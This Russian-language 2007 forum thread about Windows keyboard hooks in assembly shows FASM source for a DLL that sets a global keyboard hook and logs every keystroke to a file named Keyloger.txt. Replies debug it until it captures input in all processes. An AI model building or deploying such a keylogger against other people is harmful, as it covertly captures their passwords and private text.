Глобальный хук на клаву. Фасм.

Тема в разделе "WASM.BEGINNERS", создана пользователем Aspire, 8 июл 2007.

  1. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Привет, всем, всем! Буду благодарен, если попробуете помочь в решении следующего трабла. Не получается поставить глобальный хук на клаву, несмотря на то, что последним параметром в вызове
    Код (Text):
    1. SetWindowsHookEx,WH_KEYBOARD,KeyHookProc,[hInst],0
    стоит NULL...
    Функция полностью написана в длл, которая загружается экзешником. Перехват работает только в том случае, если окно экзешника загружаещего эту самую длл, находится поверх остальных.
    Странно, что в случае перехвата мыши, все это работает исправно.
    Далее приведу немного кода:
    Код (Text):
    1. section '.code' code readable writeable executable
    2. jmp start
    3. align 4
    4. hHook       dd  0           ;handle to the current hook
    5. Fname       db  "D:\Keyloger.txt",0
    6. hFile dd 0
    7. Counter dd 0
    8. KeySt  db 256 dup (0)
    9.  
    10. ;================================ DLL ENTRY POINT
    11. start:
    12. proc DllEntryPoint hInst,Reason,Reserved
    13. invoke  SetWindowsHookEx,WH_KEYBOARD,KeyHookProc,[hInst],0
    14.     mov [hHook],eax
    15.     invoke CreateFileA,Fname,GENERIC_WRITE,NULL,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
    16.     mov [hFile],eax
    17.     mov eax,1
    18.     ret
    19. endp
    20.  
    21. ;================================ THE HOOK PROCEDURE
    22.  
    23. proc    KeyHookProc code,wParam,lParam
    24.     cmp [hcode],0
    25.     jnz @ret
    26.     mov     eax, [lParam]
    27.         test    eax, (1 shl 30)         ;отпущена ли клавиша?
    28.         jnz     @ret
    29.  
    30.         test    eax, (1 shl 24)         ;функциональная-ли это клавиша?
    31.         jnz     @ret
    32.     ;-------------------------------- This is what the procedure does
    33.         shr     eax, 16
    34.         movzx   eax, ax
    35.         push    eax
    36.     invoke GetKeyboardState,KeySt
    37.     pop eax
    38.     mov byte [Buf],0
    39. invoke ToAscii,[wParam],eax,KeySt,Buf,0
    40.        cmp byte [Buf], 0
    41.         jz      @ret
    42. invoke SetFilePointer,[hFile],[Counter],0,FILE_BEGIN
    43. invoke WriteFile,[hFile],Buf,1,SizeReadWrite,0
    44. inc [Counter]
    45. @ret:           mov eax,0           ;invoke CallNextHookEx,0,[hcode],[wParam],[lParam]
    46.  ret
    47. endp
    48.  
    49. ;================================ THE UNHOOK PROCEDURE
    50. proc    UnHook
    51.     invoke  UnhookWindowsHookEx,[hHook]
    52.     invoke CloseHandle,[hFile]
    53.     ret
    54. endp
    55.  
    56. section '.udata'  data readable writeable
    57. SizeReadWrite dd ?
    58. Buf  db 10h DUP (?)
    Данные в секцию кода перенес от нечего делать, думал, может в этом загвоздка... Может, кто-нибудь раскроет мне страшную тайну, почему это не работает?
     
  2. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    а разделяемая секция данных где? (shared)
     
  3. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Хороший вопрос... А зачем она ? И что в нее нужно поместить ?
    Если, я правильно понимаю, эта секция нужна для обмена данными между приложением и длл. В моем случае, рабочий код и данные находятся в длл, экзешник же, только загружает и выгружает эту длл.
     
  4. W4FhLF

    W4FhLF New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2006
    Сообщения:
    1.050
    А что именно не работает, я не пойму?

    Кстати, глянь сюда: http://msdn2.microsoft.com/en-us/library/ms644985.aspx
     
  5. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    shared секция нужна, чтобы и другие приложения могли "общаться" с этой либой.
    почитай Iczeliona на васме, там есть о хуках.
     
  6. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Спасибо за ссылку. Вся эта инфа есть. Не работает перехват клавишь, если окно экзешника, который загружает длл, не является активным ( там обычный мессажебокс, который говорит, что длл загружена ). При запуске экзешника, Кошмарский сообщает, что процесс пытается внедриться во все другие процессы, я ему говорю: "разрешить", после чего появляется этот мессажебокс. Пока я нажимаю клавиши "в никуда", все они записываются в файл, как только открываю блокнот, запись прекращается. Отсюда вывод: Хук не является глобальным...
    Возможно. Читал. Хук на мышь работает глобально без всяких лишних секций. Я же не собираюсь передавать данные другим приложениям...
     
  7. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    вот именно для этого и нужна разделяемая секция!

    попробуй, используя хук на мышь, сделай активной другую прогу. эффект хука пропадёт.

    разберись с механизмом хука, чтобы не писать подоьной ерунды!
     
  8. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Гы )) Именно это я и пытаюсь сделать.
    Ошибочка вышла...Все работает )))
    Можно поподробнее, раз Вы так настаиваете на существовании этой секции, для чего она нужна ? Что, по Вашему, я должен поместить в эту секцию ? Может, я действительно чего-то не догоняю...
    С уважением.
     
  9. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    Iczelion'а ты всё таки не читал. Либо крайне не внимательно.
    возможно мы говорим о разных вещах.
     
  10. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Именно поэтому, первое, что я сделал, это поместил данные в секцию кода. Не помогло.
    После этого, по Вашему совету, пометил секцию данных как разделяемую. На фасме нужно всего-лишь добавить слово "shareable". Не помогло.
    В примере Исзелиона, мы помечаем секцию данных как разделяемую для того, чтобы в ней передать из длл в экзешник, в котором обрабатываются сообщеия мыши, хендл этой самой длл, чтобы потом выгрузить ее из памяти, т.к. процедура UnHook находится в экзешнике. У меня она находиться в самой длл и экспортируется из длл только сама эта процедура.
    PS. Iczelion'a, я все-таки читал. Наверное, даже более внимательно чем Вы.
     
  11. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    специально для ленивых и... хм..., ну ладно:
    Код (Text):
    1. .586
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. include windows.inc
    6. include user32.inc
    7. includelib user32.lib
    8.  
    9. .data
    10. hInstance   dd 0
    11. .data?
    12. hHook       dd ?
    13. hWnd        dd ?
    14.  
    15. .code
    16. DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD
    17.  push hInst
    18.  pop hInstance
    19.  xor eax, eax
    20.  inc eax
    21.  ret
    22. DllEntry Endp
    23.  
    24. KeyProc proc nCode:DWORD, wParam:DWORD, lParam:DWORD
    25.  invoke CallNextHookEx, hHook, nCode, wParam, lParam
    26.  ; - здесь делай что надо
    27.  xor eax, eax
    28.  ret
    29. KeyProc endp
    30.  
    31. ;; если hwnd - не ноль, то хук устанавливается, иначе - снимается ранее установленный хук
    32. Hook proc hwnd:DWORD
    33.  mov eax, hwnd
    34.  .if eax
    35.   mov hWnd, eax
    36.   lea eax, KeyProc
    37.   invoke SetWindowsHookEx, WH_KEYBOARD, eax, hInstance, 0
    38.   mov hHook, eax
    39.  .else
    40.   invoke UnhookWindowsHookEx,hHook
    41.  .endif
    42.  ret
    43. Hook endp
    44.  
    45. End DllEntry
    на экспорт:
    Код (Text):
    1. EXPORTS
    2. Hook_Mouse
    собирать так:
    переведи только на FASM
     
  12. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    собирать так:
    Переделал Ваш вариант на масме. Собрал БЕЗ(!) SECTION:.bss,S. Работает, что без этих параметров, что с ними. Никакой разницы. Однако, теперь с точностью до наоборот, относительно прошлого случая. Если печатать в блокноте, то перхват удается и записывается в файл. Если нажимать клавиши "в никуда", то не записывается...
    Видимо дело в последовательности процедур.
    Ща подумаю и совмещу эти два варианта в один рабочий.
    Вывод, пока, только один: секция разделяемых данных здесь нафиг не нужна.
    Спасибо за помощь.
     
  13. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    вывод неверный!
    курим MSDN.
     
  14. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    Aspire
    Ты бы хоть файл с ShareMode = FILE_SHARE_WRITE открывал бы, иначе все последующие открытия просто обламываются. Потренируйся для начала на "кошках", т.е. MessageBox'ах ;))
    Да и Reason в DllEntryPoint не мешало бы проверять...
     
  15. Aspire

    Aspire New Member

    Публикаций:
    0
    Регистрация:
    19 май 2007
    Сообщения:
    1.028
    Спасибо leo !
    Вот где собака порылась ))) Как только написал FILE_SHARE_READ or FILE_SHARE_WRITE все заработало.
    Чето я здесь тормознул ))